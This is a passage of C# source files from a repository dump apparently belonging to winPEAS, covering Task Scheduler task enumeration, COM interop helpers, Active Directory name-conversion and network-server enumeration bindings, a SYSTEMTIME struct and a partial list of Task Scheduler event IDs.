{\n            get\n            {\n                var i = 0;\n                var te = GetEnumerator();\n                while (te.MoveNext())\n                    if (i++ == index)\n                        return te.Current;\n                throw new ArgumentOutOfRangeException(nameof(index));\n            }\n        }\n\n        /// <summary>Gets the named registered task from the collection.</summary>\n        /// <param name=\"name\">The name of the registered task to be retrieved.</param>\n        /// <returns>A <see cref=\"Task\"/> instance that contains the requested context.</returns>\n        public Task this[string name]\n        {\n            get\n            {\n                if (v2Coll != null)\n                    return Task.CreateTask(svc, v2Coll[name]);\n\n                var v1Task = svc.GetTask(name);\n                if (v1Task != null)\n                    return v1Task;\n\n                throw new ArgumentOutOfRangeException(nameof(name));\n            }\n        }\n\n        /// <summary>Releases all resources used by this class.</summary>\n        public void Dispose()\n        {\n            v1TS = null;\n            if (v2Coll != null)\n                Marshal.ReleaseComObject(v2Coll);\n        }\n\n        /// <summary>Determines whether the specified task exists.</summary>\n        /// <param name=\"taskName\">The name of the task.</param>\n        /// <returns>true if task exists; otherwise, false.</returns>\n        public bool Exists([NotNull] string taskName)\n        {\n            try\n            {\n                if (v2Coll != null)\n                    return v2Coll[taskName] != null;\n\n                return svc.GetTask(taskName) != null;\n            }\n            catch { }\n            return false;\n        }\n\n        /// <summary>Gets the collection enumerator for the register task collection.</summary>\n        /// <returns>An <see cref=\"System.Collections.IEnumerator\"/> for this collection.</returns>\n        public IEnumerator<Task> GetEnumerator()\n        {\n            if (v1TS != null)\n                return new V1TaskEnumerator(svc, filter);\n            return new V2TaskEnumerator(fld, v2Coll, filter);\n        }\n\n        /// <summary>Returns a <see cref=\"System.String\"/> that represents this instance.</summary>\n        /// <returns>A <see cref=\"System.String\"/> that represents this instance.</returns>\n        public override string ToString() => $\"TaskCollection; Count: {Count}\";\n\n        System.Collections.IEnumerator System.Collections.IEnumerable.GetEnumerator() => GetEnumerator();\n\n        internal class V1TaskEnumerator : IEnumerator<Task>\n        {\n            private readonly Regex filter;\n            private readonly TaskService svc;\n            private readonly IEnumWorkItems wienum;\n            private string curItem;\n            private ITaskScheduler ts;\n\n            /// <summary>Internal constructor</summary>\n            /// <param name=\"svc\">TaskService instance</param>\n            /// <param name=\"filter\">The filter.</param>\n            internal V1TaskEnumerator(TaskService svc, Regex filter = null)\n            {\n                this.svc = svc;\n                this.filter = filter;\n                ts = svc.v1TaskScheduler;\n                wienum = ts?.Enum();\n                Reset();\n            }\n\n            /// <summary>Retrieves the current task. See <see cref=\"System.Collections.IEnumerator.Current\"/> for more information.</summary>\n            public Task Current => new Task(svc, ICurrent);\n\n            object System.Collections.IEnumerator.Current => Current;\n\n            internal int Count\n            {\n                get\n                {\n                    var i = 0;\n                    Reset();\n                    while (MoveNext())\n                        i++;\n                    Reset();\n                    return i;\n                }\n            }\n\n            internal ITask ICurrent => TaskService.GetTask(ts, curItem);\n\n            /// <summary>Releases all resources used by this class.</summary>\n            public void Dispose()\n            {\n                if (wienum != null) Marshal.ReleaseComObject(wienum);\n                ts = null;\n            }\n\n            /// <summary>Moves to the next task. See MoveNext for more information.</summary>\n            /// <returns>true if next task found, false if no more tasks.</returns>\n            public bool MoveNext()\n            {\n                var names = IntPtr.Zero;\n                var valid = false;\n                do\n                {\n                    curItem = null;\n                    uint uFetched = 0;\n                    try\n                    {\n                        wienum?.Next(1, out names, out uFetched);\n                        if (uFetched != 1)\n                            break;\n                        using (var name = new CoTaskMemString(Marshal.ReadIntPtr(names)))\n                            curItem = name.ToString();\n                        if (curItem != null && curItem.EndsWith(\".job\", StringComparison.InvariantCultureIgnoreCase))\n                            curItem = curItem.Remove(curItem.Length - 4);\n                    }\n                    catch { }\n                    finally { Marshal.FreeCoTaskMem(names); names = IntPtr.Zero; }\n\n                    // If name doesn't match filter, look for next item\n                    if (filter != null && curItem != null)\n                    {\n                        if (!filter.IsMatch(curItem))\n                            continue;\n                    }\n\n                    ITask itask = null;\n                    try { itask = ICurrent; valid = true; }\n                    catch { valid = false; }\n                    finally { Marshal.ReleaseComObject(itask); }\n                } while (!valid);\n\n                return (curItem != null);\n            }\n\n            /// <summary>Reset task enumeration. See Reset for more information.</summary>\n            public void Reset()\n            {\n                curItem = null;\n                wienum?.Reset();\n            }\n        }\n\n        private class V2TaskEnumerator : ComEnumerator<Task, IRegisteredTask>\n        {\n            private readonly Regex filter;\n\n            internal V2TaskEnumerator(TaskFolder folder, IRegisteredTaskCollection iTaskColl, Regex filter = null) :\n                base(() => iTaskColl.Count, (object o) => iTaskColl[o], o => Task.CreateTask(folder.TaskService, o)) => this.filter = filter;\n\n            public override bool MoveNext()\n            {\n                var hasNext = base.MoveNext();\n                while (hasNext)\n                {\n                    if (filter == null || filter.IsMatch(iEnum?.Current?.Name ?? \"\"))\n                        break;\n                    hasNext = base.MoveNext();\n                }\n                return hasNext;\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/TaskScheduler/TaskEditor/Native/InteropUtil.cs",
    "content": "﻿using System;\nusing System.Collections;\nusing System.Collections.Generic;\nusing System.Runtime.InteropServices;\n\nnamespace winPEAS.TaskScheduler.TaskEditor.Native\n{\n    internal static class InteropUtil\n    {\n        private const int cbBuffer = 256;\n\n        public static T ToStructure<T>(IntPtr ptr) => (T)Marshal.PtrToStructure(ptr, typeof(T));\n\n        public static IntPtr StructureToPtr(object value)\n        {\n            IntPtr ret = Marshal.AllocHGlobal(Marshal.SizeOf(value));\n            Marshal.StructureToPtr(value, ret, false);\n            return ret;\n        }\n\n        public static void AllocString(ref IntPtr ptr, ref uint size)\n        {\n            FreeString(ref ptr, ref size);\n            if (size == 0) size = cbBuffer;\n            ptr = Marshal.AllocHGlobal(cbBuffer);\n        }\n\n        public static void FreeString(ref IntPtr ptr, ref uint size)\n        {\n            if (ptr != IntPtr.Zero)\n            {\n                Marshal.FreeHGlobal(ptr);\n                ptr = IntPtr.Zero;\n                size = 0;\n            }\n        }\n\n        public static string GetString(IntPtr pString) => Marshal.PtrToStringUni(pString);\n\n        public static bool SetString(ref IntPtr ptr, ref uint size, string value = null)\n        {\n            string s = GetString(ptr);\n            if (value == string.Empty) value = null;\n            if (string.CompareOrdinal(s, value) != 0)\n            {\n                FreeString(ref ptr, ref size);\n                if (value != null)\n                {\n                    ptr = Marshal.StringToHGlobalUni(value);\n                    size = (uint)value.Length + 1;\n                }\n                return true;\n            }\n            return false;\n        }\n\n        /// <summary>\n        /// Converts an <see cref=\"IntPtr\"/> that points to a C-style array into a CLI array.\n        /// </summary>\n        /// <typeparam name=\"TS\">Type of native structure used by the C-style array.</typeparam>\n        /// <typeparam name=\"T\">Output type for the CLI array. <typeparamref name=\"TS\"/> must be able to convert to <typeparamref name=\"T\"/>.</typeparam>\n        /// <param name=\"ptr\">The <see cref=\"IntPtr\"/> pointing to the native array.</param>\n        /// <param name=\"count\">The number of items in the native array.</param>\n        /// <returns>An array of type <typeparamref name=\"T\"/> containing the converted elements of the native array.</returns>\n        public static T[] ToArray<TS, T>(IntPtr ptr, int count) where TS : IConvertible\n        {\n            var ret = new T[count];\n            var stSize = Marshal.SizeOf(typeof(TS));\n            for (var i = 0; i < count; i++)\n            {\n                var tempPtr = new IntPtr(ptr.ToInt64() + (i * stSize));\n                var val = ToStructure<TS>(tempPtr);\n                ret[i] = (T)Convert.ChangeType(val, typeof(T));\n            }\n            return ret;\n        }\n\n        /// <summary>\n        /// Converts an <see cref=\"IntPtr\"/> that points to a C-style array into a CLI array.\n        /// </summary>\n        /// <typeparam name=\"T\">Type of native structure used by the C-style array.</typeparam>\n        /// <param name=\"ptr\">The <see cref=\"IntPtr\"/> pointing to the native array.</param>\n        /// <param name=\"count\">The number of items in the native array.</param>\n        /// <returns>An array of type <typeparamref name=\"T\"/> containing the elements of the native array.</returns>\n        public static T[] ToArray<T>(IntPtr ptr, int count)\n        {\n            var ret = new T[count];\n            var stSize = Marshal.SizeOf(typeof(T));\n            for (var i = 0; i < count; i++)\n            {\n                var tempPtr = new IntPtr(ptr.ToInt64() + (i * stSize));\n                ret[i] = ToStructure<T>(tempPtr);\n            }\n            return ret;\n        }\n    }\n\n    internal class ComEnumerator<T, TIn> : IEnumerator<T> where T : class where TIn : class\n    {\n        protected readonly Func<TIn, T> converter;\n        protected IEnumerator<TIn> iEnum;\n\n        public ComEnumerator(Func<int> getCount, Func<int, TIn> indexer, Func<TIn, T> converter)\n        {\n            IEnumerator<TIn> Enumerate()\n            {\n                for (var x = 1; x <= getCount(); x++)\n                    yield return indexer(x);\n            }\n\n            this.converter = converter;\n            iEnum = Enumerate();\n        }\n\n        public ComEnumerator(Func<int> getCount, Func<object, TIn> indexer, Func<TIn, T> converter)\n        {\n            IEnumerator<TIn> Enumerate()\n            {\n                for (var x = 1; x <= getCount(); x++)\n                    yield return indexer(x);\n            }\n\n            this.converter = converter;\n            iEnum = Enumerate();\n        }\n\n        object IEnumerator.Current => Current;\n\n        public virtual T Current => converter(iEnum?.Current);\n\n        public virtual void Dispose()\n        {\n            iEnum?.Dispose();\n            iEnum = null;\n        }\n\n        public virtual bool MoveNext() => iEnum?.MoveNext() ?? false;\n\n        public virtual void Reset()\n        {\n            iEnum?.Reset();\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/TaskScheduler/TaskEditor/Native/NTDSAPI.cs",
    "content": "﻿using System;\nusing System.Runtime.ConstrainedExecution;\nusing System.Runtime.InteropServices;\nusing System.Security;\nusing winPEAS.Native;\nusing winPEAS.Native.Enums;\n\nnamespace winPEAS.TaskScheduler.TaskEditor.Native\n{\n    internal static partial class NativeMethods\n    {\n        /// <summary>\n        /// Defines the errors returned by the status member of the DS_NAME_RESULT_ITEM structure. These are potential errors that may be encountered while a name is converted by the DsCrackNames function.\n        /// </summary>\n        public enum DS_NAME_ERROR : uint\n        {\n            /// <summary>The conversion was successful.</summary>\n            DS_NAME_NO_ERROR = 0,\n\n            ///<summary>Generic processing error occurred.</summary>\n            DS_NAME_ERROR_RESOLVING = 1,\n\n            ///<summary>The name cannot be found or the caller does not have permission to access the name.</summary>\n            DS_NAME_ERROR_NOT_FOUND = 2,\n\n            ///<summary>The input name is mapped to more than one output name or the desired format did not have a single, unique value for the object found.</summary>\n            DS_NAME_ERROR_NOT_UNIQUE = 3,\n\n            ///<summary>The input name was found, but the associated output format cannot be found. This can occur if the object does not have all the required attributes.</summary>\n            DS_NAME_ERROR_NO_MAPPING = 4,\n\n            ///<summary>Unable to resolve entire name, but was able to determine in which domain object resides. The caller is expected to retry the call at a domain controller for the specified domain. The entire name cannot be resolved, but the domain that the object resides in could be determined. The pDomain member of the DS_NAME_RESULT_ITEM contains valid data when this error is specified.</summary>\n            DS_NAME_ERROR_DOMAIN_ONLY = 5,\n\n            ///<summary>A syntactical mapping cannot be performed on the client without transmitting over the network.</summary>\n            DS_NAME_ERROR_NO_SYNTACTICAL_MAPPING = 6,\n\n            ///<summary>The name is from an external trusted forest.</summary>\n            DS_NAME_ERROR_TRUST_REFERRAL = 7\n        }\n\n        /// <summary>\n        /// Class that provides methods against a AD domain service.\n        /// </summary>\n        /// <seealso cref=\"System.IDisposable\" />\n        [SuppressUnmanagedCodeSecurity, ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)]\n        public class DomainService : IDisposable\n        {\n            IntPtr handle = IntPtr.Zero;\n\n            /// <summary>\n            /// Initializes a new instance of the <see cref=\"DomainService\"/> class.\n            /// </summary>\n            /// <param name=\"domainControllerName\">Name of the domain controller.</param>\n            /// <param name=\"dnsDomainName\">Name of the DNS domain.</param>\n            /// <exception cref=\"System.ComponentModel.Win32Exception\"></exception>\n            public DomainService(string domainControllerName = null, string dnsDomainName = null)\n            {\n                Ntdsapi.DsBind(domainControllerName, dnsDomainName, out handle);\n            }\n\n            /// <summary>\n            /// Converts a directory service object name from any format to the UPN. \n            /// </summary>\n            /// <param name=\"name\">The name to convert.</param>\n            /// <returns>The corresponding UPN.</returns>\n            /// <exception cref=\"System.Security.SecurityException\">Unable to resolve user name.</exception>\n            public string CrackName(string name)\n            {\n                var res = CrackNames(new string[] { name });\n                if (res == null || res.Length == 0 || res[0].status != DS_NAME_ERROR.DS_NAME_NO_ERROR)\n                    throw new SecurityException(\"Unable to resolve user name.\");\n                return res[0].pName;\n            }\n\n            /// <summary>\n            /// Converts an array of directory service object names from one format to another. Name conversion enables client applications to map between the multiple names used to identify various directory service objects. \n            /// </summary>\n            /// <param name=\"names\">The names to convert.</param>\n            /// <param name=\"flags\">Values used to determine how the name syntax will be cracked.</param>\n            /// <param name=\"formatOffered\">Format of the input names.</param>\n            /// <param name=\"formatDesired\">Desired format for the output names.</param>\n            /// <returns>An array of DS_NAME_RESULT_ITEM structures. Each element of this array represents a single converted name.</returns>\n            public DS_NAME_RESULT_ITEM[] CrackNames(string[] names = null, DS_NAME_FLAGS flags = DS_NAME_FLAGS.DS_NAME_NO_FLAGS, DS_NAME_FORMAT formatOffered = DS_NAME_FORMAT.DS_UNKNOWN_NAME, DS_NAME_FORMAT formatDesired = DS_NAME_FORMAT.DS_USER_PRINCIPAL_NAME)\n            {\n                IntPtr pResult;\n                uint err = Ntdsapi.DsCrackNames(handle, flags, formatOffered, formatDesired, (uint)(names?.Length ?? 0), names, out pResult);\n                if (err != (uint)DS_NAME_ERROR.DS_NAME_NO_ERROR)\n                    throw new System.ComponentModel.Win32Exception((int)err);\n                try\n                {\n                    // Next convert the returned structure to managed environment\n                    DS_NAME_RESULT Result = (DS_NAME_RESULT)Marshal.PtrToStructure(pResult, typeof(DS_NAME_RESULT));\n                    return Result.Items;\n                }\n                finally\n                {\n                    Ntdsapi.DsFreeNameResult(pResult);\n                }\n            }\n\n            public void Dispose()\n            {\n                uint ret = Ntdsapi.DsUnBind(ref handle);\n                System.Diagnostics.Debug.WriteLineIf(ret != 0, \"Error unbinding :\\t\" + ret.ToString());\n            }\n        }\n\n\n\n        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)]\n        public struct DS_NAME_RESULT\n        {\n            public uint cItems;\n            internal IntPtr rItems; // PDS_NAME_RESULT_ITEM\n\n            public DS_NAME_RESULT_ITEM[] Items\n            {\n                get\n                {\n                    if (rItems == IntPtr.Zero)\n                        return new DS_NAME_RESULT_ITEM[0];\n                    var ResultArray = new DS_NAME_RESULT_ITEM[cItems];\n                    Type strType = typeof(DS_NAME_RESULT_ITEM);\n                    int stSize = Marshal.SizeOf(strType);\n                    IntPtr curptr;\n                    for (uint i = 0; i < cItems; i++)\n                    {\n                        curptr = new IntPtr(rItems.ToInt64() + (i * stSize));\n                        ResultArray[i] = (DS_NAME_RESULT_ITEM)Marshal.PtrToStructure(curptr, strType);\n                    }\n                    return ResultArray;\n                }\n            }\n        }\n\n        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)]\n        public struct DS_NAME_RESULT_ITEM\n        {\n            public DS_NAME_ERROR status;\n            public string pDomain;\n            public string pName;\n\n            public override string ToString()\n            {\n                if (status == DS_NAME_ERROR.DS_NAME_NO_ERROR)\n                    return pName;\n                return string.Empty;\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/TaskScheduler/TaskEditor/Native/NetServerEnum.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\nusing System.Runtime.InteropServices;\nusing winPEAS.Native;\nusing winPEAS.Native.Enums;\n\nnamespace winPEAS.TaskScheduler.TaskEditor.Native\n{\n    internal static partial class NativeMethods\n    {\n        const int MAX_PREFERRED_LENGTH = -1;\n\n        public enum ServerPlatform\n        {\n            DOS = 300,\n            OS2 = 400,\n            NT = 500,\n            OSF = 600,\n            VMS = 700\n        }\n\n        [StructLayout(LayoutKind.Sequential)]\n        public struct SERVER_INFO_100\n        {\n            public ServerPlatform PlatformId;\n            [MarshalAs(UnmanagedType.LPWStr)]\n            public string Name;\n        }\n\n        [StructLayout(LayoutKind.Sequential)]\n        public struct SERVER_INFO_101\n        {\n            public ServerPlatform PlatformId;\n            [MarshalAs(UnmanagedType.LPWStr)]\n            public string Name;\n            public int VersionMajor;\n            public int VersionMinor;\n            public ServerTypes Type;\n            [MarshalAs(UnmanagedType.LPWStr)]\n            public string Comment;\n        }\n\n        [StructLayout(LayoutKind.Sequential)]\n        public struct SERVER_INFO_102\n        {\n            public ServerPlatform PlatformId;\n            [MarshalAs(UnmanagedType.LPWStr)]\n            public string Name;\n            public int VersionMajor;\n            public int VersionMinor;\n            public ServerTypes Type;\n            [MarshalAs(UnmanagedType.LPWStr)]\n            public string Comment;\n            public int MaxUsers;\n            public int AutoDisconnectMinutes;\n            [MarshalAs(UnmanagedType.Bool)]\n            public bool Hidden;\n            public int NetworkAnnounceRate;\n            public int NetworkAnnounceRateDelta;\n            public int UsersPerLicense;\n            [MarshalAs(UnmanagedType.LPWStr)]\n            public string UserDirectoryPath;\n        }\n\n        [StructLayout(LayoutKind.Sequential)]\n        public struct NetworkComputerInfo // SERVER_INFO_101\n        {\n            ServerPlatform sv101_platform_id;\n            [MarshalAs(UnmanagedType.LPWStr)]\n            string sv101_name;\n            int sv101_version_major;\n            int sv101_version_minor;\n            ServerTypes sv101_type;\n            [MarshalAs(UnmanagedType.LPWStr)]\n            string sv101_comment;\n\n            public ServerPlatform Platform => sv101_platform_id;\n            public string Name => sv101_name;\n            public string Comment => sv101_comment;\n            public ServerTypes ServerTypes => sv101_type;\n            public Version Version => new Version(sv101_version_major, sv101_version_minor);\n        };\n\n        public static IEnumerable<string> GetNetworkComputerNames(ServerTypes serverTypes = ServerTypes.Workstation | ServerTypes.Server, string domain = null) =>\n            Array.ConvertAll(NetServerEnum<SERVER_INFO_100>(serverTypes, domain), si => si.Name);\n\n        public static IEnumerable<NetworkComputerInfo> GetNetworkComputerInfo(ServerTypes serverTypes = ServerTypes.Workstation | ServerTypes.Server, string domain = null) =>\n            NetServerEnum<NetworkComputerInfo>(serverTypes, domain, 101);\n\n        public static T[] NetServerEnum<T>(ServerTypes serverTypes = ServerTypes.Workstation | ServerTypes.Server, string domain = null, int level = 0) where T : struct\n        {\n            if (level == 0)\n                level = int.Parse(System.Text.RegularExpressions.Regex.Replace(typeof(T).Name, @\"[^\\d]\", \"\"));\n\n            IntPtr bufptr = IntPtr.Zero;\n            try\n            {\n                int entriesRead, totalEntries;\n                IntPtr resumeHandle = IntPtr.Zero;\n\n                int ret = Netapi32.NetServerEnum(null, level, out bufptr, MAX_PREFERRED_LENGTH, out entriesRead, out totalEntries, serverTypes, domain, resumeHandle);\n                if (ret == 0)\n                    return InteropUtil.ToArray<T>(bufptr, entriesRead);\n                throw new System.ComponentModel.Win32Exception(ret);\n            }\n            finally\n            {\n                Netapi32.NetApiBufferFree(bufptr);\n            }\n        }\n\n        public static T NetServerGetInfo<T>(string serverName, int level = 0) where T : struct\n        {\n            if (level == 0)\n                level = int.Parse(System.Text.RegularExpressions.Regex.Replace(typeof(T).Name, @\"[^\\d]\", \"\"));\n\n            IntPtr ptr = IntPtr.Zero;\n            try\n            {\n                int ret = Netapi32.NetServerGetInfo(serverName, level, out ptr);\n                if (ret != 0)\n                {\n                    throw new System.ComponentModel.Win32Exception(ret);\n                }\n\n                return (T)Marshal.PtrToStructure(ptr, typeof(T));\n            }\n            finally\n            {\n                if (ptr != IntPtr.Zero)\n                {\n                    Netapi32.NetApiBufferFree(ptr);\n                }\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/TaskScheduler/TaskEditor/Native/SYSTEMTIME.cs",
    "content": "﻿using System;\nusing System.Runtime.InteropServices;\n\nnamespace winPEAS.TaskScheduler.TaskEditor.Native\n{\n    internal static partial class NativeMethods\n    {\n        [StructLayout(LayoutKind.Sequential, Pack = 2)]\n        internal struct SYSTEMTIME : IConvertible\n        {\n            public ushort Year;\n            public ushort Month;\n            public ushort DayOfWeek;\n            public ushort Day;\n            public ushort Hour;\n            public ushort Minute;\n            public ushort Second;\n            public ushort Milliseconds;\n\n            public SYSTEMTIME(DateTime dt)\n            {\n                dt = dt.ToLocalTime();\n                Year = Convert.ToUInt16(dt.Year);\n                Month = Convert.ToUInt16(dt.Month);\n                DayOfWeek = Convert.ToUInt16(dt.DayOfWeek);\n                Day = Convert.ToUInt16(dt.Day);\n                Hour = Convert.ToUInt16(dt.Hour);\n                Minute = Convert.ToUInt16(dt.Minute);\n                Second = Convert.ToUInt16(dt.Second);\n                Milliseconds = Convert.ToUInt16(dt.Millisecond);\n            }\n\n            public SYSTEMTIME(ushort year, ushort month, ushort day, ushort hour = 0, ushort minute = 0, ushort second = 0, ushort millisecond = 0)\n            {\n                Year = year;\n                Month = month;\n                Day = day;\n                Hour = hour;\n                Minute = minute;\n                Second = second;\n                Milliseconds = millisecond;\n                DayOfWeek = 0;\n            }\n\n            public static implicit operator DateTime(SYSTEMTIME st)\n            {\n                if (st.Year == 0 || st == MinValue)\n                    return DateTime.MinValue;\n                if (st == MaxValue)\n                    return DateTime.MaxValue;\n                return new DateTime(st.Year, st.Month, st.Day, st.Hour, st.Minute, st.Second, st.Milliseconds, DateTimeKind.Local);\n            }\n\n            public static implicit operator SYSTEMTIME(DateTime dt) => new SYSTEMTIME(dt);\n\n            public static bool operator ==(SYSTEMTIME s1, SYSTEMTIME s2) => (s1.Year == s2.Year && s1.Month == s2.Month && s1.Day == s2.Day && s1.Hour == s2.Hour && s1.Minute == s2.Minute && s1.Second == s2.Second && s1.Milliseconds == s2.Milliseconds);\n\n            public static bool operator !=(SYSTEMTIME s1, SYSTEMTIME s2) => !(s1 == s2);\n\n            public static readonly SYSTEMTIME MinValue, MaxValue;\n\n            static SYSTEMTIME()\n            {\n                MinValue = new SYSTEMTIME(1601, 1, 1);\n                MaxValue = new SYSTEMTIME(30827, 12, 31, 23, 59, 59, 999);\n            }\n\n            public override bool Equals(object obj)\n            {\n                if (obj is SYSTEMTIME)\n                    return ((SYSTEMTIME)obj) == this;\n                if (obj is DateTime)\n                    return ((DateTime)this).Equals(obj);\n                return base.Equals(obj);\n            }\n\n            public override int GetHashCode() => ((DateTime)this).GetHashCode();\n\n            public override string ToString() => ((DateTime)this).ToString();\n\n            TypeCode IConvertible.GetTypeCode() => ((IConvertible)(DateTime)this).GetTypeCode();\n\n            bool IConvertible.ToBoolean(IFormatProvider provider) => ((IConvertible)(DateTime)this).ToBoolean(provider);\n\n            byte IConvertible.ToByte(IFormatProvider provider) => ((IConvertible)(DateTime)this).ToByte(provider);\n\n            char IConvertible.ToChar(IFormatProvider provider) => ((IConvertible)(DateTime)this).ToChar(provider);\n\n            DateTime IConvertible.ToDateTime(IFormatProvider provider) => (DateTime)this;\n\n            decimal IConvertible.ToDecimal(IFormatProvider provider) => ((IConvertible)(DateTime)this).ToDecimal(provider);\n\n            double IConvertible.ToDouble(IFormatProvider provider) => ((IConvertible)(DateTime)this).ToDouble(provider);\n\n            short IConvertible.ToInt16(IFormatProvider provider) => ((IConvertible)(DateTime)this).ToInt16(provider);\n\n            int IConvertible.ToInt32(IFormatProvider provider) => ((IConvertible)(DateTime)this).ToInt32(provider);\n\n            long IConvertible.ToInt64(IFormatProvider provider) => ((IConvertible)(DateTime)this).ToInt64(provider);\n\n            sbyte IConvertible.ToSByte(IFormatProvider provider) => ((IConvertible)(DateTime)this).ToSByte(provider);\n\n            float IConvertible.ToSingle(IFormatProvider provider) => ((IConvertible)(DateTime)this).ToSingle(provider);\n\n            string IConvertible.ToString(IFormatProvider provider) => ((IConvertible)(DateTime)this).ToString(provider);\n\n            object IConvertible.ToType(Type conversionType, IFormatProvider provider) => ((IConvertible)(DateTime)this).ToType(conversionType, provider);\n\n            ushort IConvertible.ToUInt16(IFormatProvider provider) => ((IConvertible)(DateTime)this).ToUInt16(provider);\n\n            uint IConvertible.ToUInt32(IFormatProvider provider) => ((IConvertible)(DateTime)this).ToUInt32(provider);\n\n            ulong IConvertible.ToUInt64(IFormatProvider provider) => ((IConvertible)(DateTime)this).ToUInt64(provider);\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/TaskScheduler/TaskEvent.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\nusing System.Diagnostics.Eventing.Reader;\n\nnamespace winPEAS.TaskScheduler\n{\n    /// <summary>\n    /// Changes to tasks and the engine that cause events.\n    /// </summary>\n    public enum StandardTaskEventId\n    {\n        /// <summary>Task Scheduler started an instance of a task for a user.</summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/dd348558(v=ws.10).aspx\">Event ID 100</a> on TechNet.</remarks>\n        JobStart = 100,\n        /// <summary>Task Scheduler failed to start a task for a user.</summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/dd315710(v=ws.10).aspx\">Event ID 101</a> on TechNet.</remarks>\n        JobStartFailed = 101,\n        /// <summary>Task Scheduler successfully finished an instance of a task for a user.</summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/dd348530(v=ws.10).aspx\">Event ID 102</a> on TechNet.</remarks>\n        JobSuccess = 102,\n        /// <summary>Task Scheduler failed to start an instance of a task for a user.</summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/dd315643(v=ws.10).aspx\">Event ID 103</a> on TechNet.</remarks>\n        JobFailure = 103,\n        /// <summary>Task Scheduler failed to log on the user.</summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/cc727217(v=ws.10).aspx\">Event ID 104</a> on TechNet.</remarks>\n        LogonFailure = 104,\n        /// <summary>Task Scheduler failed to impersonate a user.</summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/dd348541(v=ws.10).aspx\">Event ID 105</a> on TechNet.</remarks>\n        ImpersonationFailure = 105,\n        /// <summary>The a user registered the Task Scheduler a task.</summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/dd363640(v=ws.10).aspx\">Event ID 106</a> on TechNet.</remarks>\n        JobRegistered = 106,\n        /// <summary>Task Scheduler launched an instance of a task due to a time trigger.</summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/dd348590(v=ws.10).aspx\">Event ID 107</a> on TechNet.</remarks>\n        TimeTrigger = 107,\n        /// <summary>Task Scheduler launched an instance of a task due to an event trigger.</summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/cc727031(v=ws.10).aspx\">Event ID 108</a> on TechNet.</remarks>\n        EventTrigger = 108,\n        /// <summary>Task Scheduler launched an instance of a task due to a registration trigger.</summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/dd363702(v=ws.10).aspx\">Event ID 109</a> on TechNet.</remarks>\n        ImmediateTrigger = 109,\n        /// <summary>Task Scheduler launched an instance of a task for a user.</summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/dd363721(v=ws.10).aspx\">Event ID 110</a> on TechNet.</remarks>\n        Run = 110,\n        /// <summary>Task Scheduler terminated an instance of a task due to exceeding the time allocated for execution, as configured in the task definition.</summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/dd315549(v=ws.10).aspx\">Event ID 111</a> on TechNet.</remarks>\n        JobTermination = 111,\n        /// <summary>Task Scheduler could not start a task because the network was unavailable. Ensure the computer is connected to the required network as specified in the task.</summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/dd363779(v=ws.10).aspx\">Event ID 112</a> on TechNet.</remarks>\n        JobNoStartWithoutNetwork = 112,\n        /// <summary>The Task Scheduler registered the a task, but not all the specified triggers will start the task. Ensure all the task triggers are valid.</summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/dd315656(v=ws.10).aspx\">Event ID 113</a> on TechNet.</remarks>\n        TaskRegisteredWithoutSomeTriggers = 113,\n        /// <summary>Task Scheduler could not launch a task as scheduled. Instance is started now as required by the configuration option to start the task when available, if the scheduled time is missed.</summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/cc775066(v=ws.10).aspx\">Event ID 114</a> on TechNet.</remarks>\n        MissedTaskLaunched = 114,\n        /// <summary>Task Scheduler failed to roll back a transaction when updating or deleting a task.</summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/dd315711(v=ws.10).aspx\">Event ID 115</a> on TechNet.</remarks>\n        TransactionRollbackFailure = 115,\n        /// <summary>Task Scheduler saved the configuration for a task, but the credentials used to run the task could not be stored.</summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/dd363682(v=ws.10).aspx\">Event ID 116</a> on TechNet.</remarks>\n        TaskRegisteredWithoutCredentials = 116,\n        /// <summary>Task Scheduler launched an instance of a task due to an idle condition.</summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/dd315755(v=ws.10).aspx\">Event ID 117</a> on TechNet.</remarks>\n        IdleTrigger = 117,\n        /// <summary>Task Scheduler launched an instance of a task due to system startup.</summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/cc775107(v=ws.10).aspx\">Event ID 118</a> on TechNet.</remarks>\n        BootTrigger = 118,\n        /// <summary>Task Scheduler launched an instance of a task due to a user logon.</summary>\n        /// <remarks>For detailed information, see the documentation for <a href=\"https://technet.microsoft.com/en-us/library/dd315498(v=ws.10).aspx\">Event ID 119</a> on TechNet.</remarks>\n        LogonTrigger = 